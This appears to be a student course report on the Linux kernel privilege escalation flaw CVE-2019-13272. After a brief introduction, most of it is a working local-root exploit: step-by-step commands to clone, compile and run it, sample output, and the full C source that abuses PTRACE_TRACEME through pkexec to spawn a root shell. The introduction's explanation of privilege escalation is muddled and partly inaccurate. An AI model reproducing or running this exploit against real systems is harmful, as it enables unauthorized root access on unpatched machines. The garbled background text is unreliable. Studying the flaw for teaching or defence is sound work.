LINUX KERNEL PRIVILEGE ESCALATION CVE-2019–13272

Paniyan Duwage S. T.
IT19214894

Systems and Network Programming

Sri Lanka Institute of Information Technology

Introduction

Local privilege escalation (LPE) is a way of fixing vulnerabilities that are required to handle code and/or utilities that control regular or guest users for specific systems functions or to modify privileges from the user root to root or administrator user. These unintended modifications may result in a violation of permissions or privileges because regular users may interrupt the program, as they have shell or root permissions. Anyone may then become insecure and take advantage to gain access to a higher level.

There are allowances, permissions or features in computers which require users or groups to perform special tasks to perform the privilege as a particular user or group. As such, an administrator user is allowed to run and write a specific program. However, a standard user could only run the program, and no special services or configuration files can be written by the user.

There are three permissions, including reading, write and execute.

- Read permission – As the name indicates, any user may only have the privilege to view or read the file's contents and the list of directory contents.
- Write permission – A user can read and modify the contents of a file and the directory with a write permission.
- Execute permission – Execute permission allows any users to execute a file, program, or a script. This allows a user to convert an existing directory and make the existing directory a working directory.

Anyone with a vulnerability awareness may expand their privileges to Root or Admin in the code flow of the operating service or software.

Various tools, such as PowerShell, executable binary, Metasploit modules, etc. are used to increase users' privileges. Anyone develops methods to configure the computer or server settings of victims to function or communicate with services. They need to review their current user's permissions, such as writable file, readable file, token generation, token theft, etc. Hackers have access and control of all services, and they can make them more exposed to exploitation.

Windows and Unix systems are unsecured if resources and permissions are not properly protected and are permitted to world-write. Therefore, for execution purposes, everyone can write their scripts. In the case of network infrastructure, this may cause significant harm or weakness and even collect sensitive information from victims or change information flows, which may lead to a major loss. [1]

In the Linux kernel prior to 5.1.17, the ptrace link on kernel / ptrace.c malicifully records the process credentials for establishing a trace relationship that enables local users to access the root by exploiting such scenarios in which a parent-child processes privileges and calls execve (which could allow an attacker to control). An object lifetime issue (which can also contribute to panic) is a contributing factor. Another contributing factor is a misidentification of a privileged ptrace relationship, which is exploitative (for example) through the Polkit's pkexec assistant with PTRACE_TRACEME.. [2]

Steps to exploit the CVE 2019-13272 vulnerability

This vulnerability is in Linux kernel before to 5.1.17 version.

```
sandaru@sandaru:~$ uname -r
5.0.0-32-generic
sandaru@sandaru:~$ whoami
sandaru
```

Go into the Desktop folder and download the c code from github.

```
sandaru@sandaru:~$ cd Desktop
sandaru@sandaru:~/Desktop$ git clone https://github.com/Thathsarani24/CVE2019-13272.git
Cloning into 'CVE2019-13272'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), done.
```

Then goes into the CVE2019-13272 folder which downloaded .

```
sandaru@sandaru:~/Desktop$ ls
CVE2019-13272
sandaru@sandaru:~/Desktop$ cd CVE2019-13272
```

Then compile the CVE2019-13272.c file in CVE2019-13272 folder.

```
sandaru@sandaru:~/Desktop/CVE2019-13272$ ls
CVE2019-13272.c
sandaru@sandaru:~/Desktop/CVE2019-13272$ gcc CVE2019-13272.c -o load
```

Then execute it.

```
sandaru@sandaru:~/Desktop/CVE2019-13272$ ls
CVE2019-13272.c  load
sandaru@sandaru:~/Desktop/CVE2019-13272$ ./load
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[~] Done, looks good
[.] Searching for known helpers ...
[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Spawning suid process (/usr/bin/pkexec) ...
[.] Tracing midpid ...
[~] Attached to midpid
[-] Error: setresgid(0, 0, 0)
sandaru@sandaru:~/Desktop/CVE2019-13272$
```

We can exploit this vulnerability like this from using this c code.

This is the c code that used to do this exploit.

```
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
// ---
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>

#define DEBUG

#ifdef DEBUG
```

```
#  define dprintf printf
#else
#  define dprintf
#endif

#define SAFE(expr) ({                   \
  typeof(expr) __res = (expr);          \
  if (__res == -1) {                    \
    dprintf("[-] Error: %s\n", #expr);  \
    return 0;                           \
  }                                     \
  __res;                                \
})
#define max(a,b) ((a)>(b) ? (a) : (b))

static const char *SHELL = "/bin/bash";

static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;

const char *helpers[1024];

const char *known_helpers[] = {
  "/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
  "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
  "/usr/lib/unity-settings-daemon/usd-backlight-helper",
  "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
  "/usr/sbin/mate-power-backlight-helper",
  "/usr/bin/xfpm-power-backlight-helper",
  "/usr/bin/lxqt-backlight_backend",
  "/usr/libexec/gsd-wacom-led-helper",
  "/usr/libexec/gsd-wacom-oled-helper",
  "/usr/libexec/gsd-backlight-helper",
  "/usr/lib/gsd-backlight-helper",
  "/usr/lib/gsd-wacom-led-helper",
  "/usr/lib/gsd-wacom-oled-helper",
};

/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
  static char buf[10000];
  va_list ap;
  va_start(ap, fmt);
  vsprintf(buf, fmt, ap);
```

```
  va_end(ap);
  return buf;
}

/*
 * fork, execute pkexec in parent, force parent to trace our child process,
 * execute suid executable (pkexec) in child.
 */
static int middle_main(void *dummy) {
  prctl(PR_SET_PDEATHSIG, SIGKILL);
  pid_t middle = getpid();

  self_fd = SAFE(open("/proc/self/exe", O_RDONLY));

  pid_t child = SAFE(fork());
  if (child == 0) {
    prctl(PR_SET_PDEATHSIG, SIGKILL);

    SAFE(dup2(self_fd, 42));

    /* spin until our parent becomes privileged (have to be fast here) */
    int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
    char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
    while (1) {
      char buf[1000];
      ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
      buf[buflen] = '\0';
      if (strstr(buf, needle)) break;
    }

    /*
     * this is where the bug is triggered.
     * while our parent is in the middle of pkexec, we force it to become our
     * tracer, with pkexec's creds as ptracer_cred.
     */
    SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));

    /*
     * now we execute a suid executable (pkexec).
     * Because the ptrace relationship is considered to be privileged,
     * this is a proper suid execution despite the attached tracer,
     * not a degraded one.
     * at the end of execve(), this process receives a SIGTRAP from ptrace.
     */
    execl(pkexec_path, basename(pkexec_path), NULL);

    dprintf("[-] execl: Executing suid executable failed");
    exit(EXIT_FAILURE);
  }
```

```
  SAFE(dup2(self_fd, 0));
  SAFE(dup2(block_pipe[1], 1));

  /* execute pkexec as current user */
  struct passwd *pw = getpwuid(getuid());
  if (pw == NULL) {
    dprintf("[-] getpwuid: Failed to retrieve username");
    exit(EXIT_FAILURE);
  }

  middle_success = 1;
  execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
        helper_path,
        "--help", NULL);
  middle_success = 0;
  dprintf("[-] execl: Executing pkexec failed");
  exit(EXIT_FAILURE);
}

/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
  struct user_regs_struct regs;
  struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
  SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
  SAFE(waitpid(pid, &dummy_status, 0));
  SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));

  /* set up indirect arguments */
  unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
  struct injected_page {
    unsigned long argv[2];
    unsigned long envv[1];
    char arg0[8];
    char path[1];
  } ipage = {
    .argv = { scratch_area + offsetof(struct injected_page, arg0) }
  };
  strcpy(ipage.arg0, arg0);
  for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
    unsigned long pdata = ((unsigned long *)&ipage)[i];
    SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
                (void*)pdata));
  }

  /* execveat(exec_fd, path, argv, envv, flags) */
  regs.orig_rax = __NR_execveat;
  regs.rdi = exec_fd;
  regs.rsi = scratch_area + offsetof(struct injected_page, path);
  regs.rdx = scratch_area + offsetof(struct injected_page, argv);
  regs.r10 = scratch_area + offsetof(struct injected_page, envv);
```

```
  regs.r8 = AT_EMPTY_PATH;

  SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
  SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
  SAFE(waitpid(pid, &dummy_status, 0));
}

static int middle_stage2(void) {
  /* our child is hanging in signal delivery from execve()'s SIGTRAP */
  pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
  force_exec_and_wait(child, 42, "stage3");
  return 0;
}

// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *

static int spawn_shell(void) {
  SAFE(setresgid(0, 0, 0));
  SAFE(setresuid(0, 0, 0));
  execlp(SHELL, basename(SHELL), NULL);
  dprintf("[-] execlp: Executing shell %s failed", SHELL);
  exit(EXIT_FAILURE);
}

// * * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *

static int check_env(void) {
  const char* xdg_session = getenv("XDG_SESSION_ID");

  dprintf("[.] Checking environment ...\n");

  if (stat(pkexec_path, &st) != 0) {
    dprintf("[-] Could not find pkexec executable at %s", pkexec_path);
    exit(EXIT_FAILURE);
  }
  if (stat(pkaction_path, &st) != 0) {
    dprintf("[-] Could not find pkaction executable at %s", pkaction_path);
    exit(EXIT_FAILURE);
  }
  if (xdg_session == NULL) {
    dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
    return 1;
  }
  if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no
>>/dev/null 2>>/dev/null") != 0) {
    dprintf("[!] Warning: Could not find active PolKit agent\n");
    return 1;
  }
  if (stat("/usr/sbin/getsebool", &st) == 0) {
    if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) {
```

```
      dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
      return 1;
    }
  }

  dprintf("[~] Done, looks good\n");

  return 0;
}

/*
 * Use pkaction to search PolKit policy actions for viable helper executables.
 * Check each action for allow_active=yes, extract the associated helper path,
 * and check the helper path exists.
 */
int find_helpers() {
  char cmd[1024];
  snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
  FILE *fp;
  fp = popen(cmd, "r");
  if (fp == NULL) {
    dprintf("[-] Failed to run: %s\n", cmd);
    exit(EXIT_FAILURE);
  }

  char line[1024];
  char buffer[2048];
  int helper_index = 0;
  int useful_action = 0;
  static const char *needle = "org.freedesktop.policykit.exec.path -> ";
  int needle_length = strlen(needle);

  while (fgets(line, sizeof(line)-1, fp) != NULL) {
    /* check the action uses allow_active=yes*/
    if (strstr(line, "implicit active:")) {
      if (strstr(line, "yes")) {
        useful_action = 1;
      }
      continue;
    }

    if (useful_action == 0)
      continue;
    useful_action = 0;

    /* extract the helper path */
    int length = strlen(line);
    char* found = memmem(&line[0], length, needle, needle_length);
    if (found == NULL)
      continue;
```

```
    memset(buffer, 0, sizeof(buffer));
    for (int i = 0; found[needle_length + i] != '\n'; i++) {
      if (i >= sizeof(buffer)-1)
        continue;
      buffer[i] = found[needle_length + i];
    }

    if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
      strstr(&buffer[0], "/cpugovctl") != 0 ||
      strstr(&buffer[0], "/package-system-locked") != 0 ||
      strstr(&buffer[0], "/cddistupgrader") != 0) {
      dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
      continue;
    }

    /* check the path exists */
    if (stat(&buffer[0], &st) != 0)
      continue;

    helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
    helper_index++;

    if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
      break;
  }

  pclose(fp);
  return 0;
}

// * * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

int ptrace_traceme_root() {
  dprintf("[.] Using helper: %s\n", helper_path);

  /*
   * set up a pipe such that the next write to it will block: packet mode,
   * limited to one packet
   */
  SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
  SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
  char dummy = 0;
  SAFE(write(block_pipe[1], &dummy, 1));

  /* spawn pkexec in a child, and continue here once our child is in execve() */
  dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
  static char middle_stack[1024*1024];
  pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
                            CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
```

```
  if (!middle_success) return 1;

  /*
   * wait for our child to go through both execve() calls (first pkexec, then
   * the executable permitted by polkit policy).
   */
  while (1) {
    int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
    char buf[16];
    int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
    buf[buflen] = '\0';
    *strchrnul(buf, '\n') = '\0';
    if (strncmp(buf, basename(helper_path), 15) == 0)
      break;
    usleep(100000);
  }

  /*
   * our child should have gone through both the privileged execve() and the
   * following execve() here
   */
  dprintf("[.] Tracing midpid ...\n");
  SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
  SAFE(waitpid(midpid, &dummy_status, 0));
  dprintf("[~] Attached to midpid\n");

  force_exec_and_wait(midpid, 0, "stage2");
  exit(EXIT_SUCCESS);
}

int main(int argc, char **argv) {
  if (strcmp(argv[0], "stage2") == 0)
    return middle_stage2();
  if (strcmp(argv[0], "stage3") == 0)
    return spawn_shell();

  dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");

  check_env();

  if (argc > 1 && strcmp(argv[1], "check") == 0) {
    exit(0);
  }

  /* Search for known helpers defined in 'known_helpers' array */
  dprintf("[.] Searching for known helpers ...\n");
  for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
    if (stat(known_helpers[i], &st) == 0) {
      helper_path = known_helpers[i];
      dprintf("[~] Found known helper: %s\n", helper_path);
```

```
      ptrace_traceme_root();
    }
  }

  /* Search polkit policies for helper executables */
  dprintf("[.] Searching for useful helpers ...\n");
  find_helpers();
  for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
    if (helpers[i] == NULL)
      break;

    if (stat(helpers[i], &st) == 0) {
      helper_path = helpers[i];
      ptrace_traceme_root();
    }
  }

  return 0;
}
```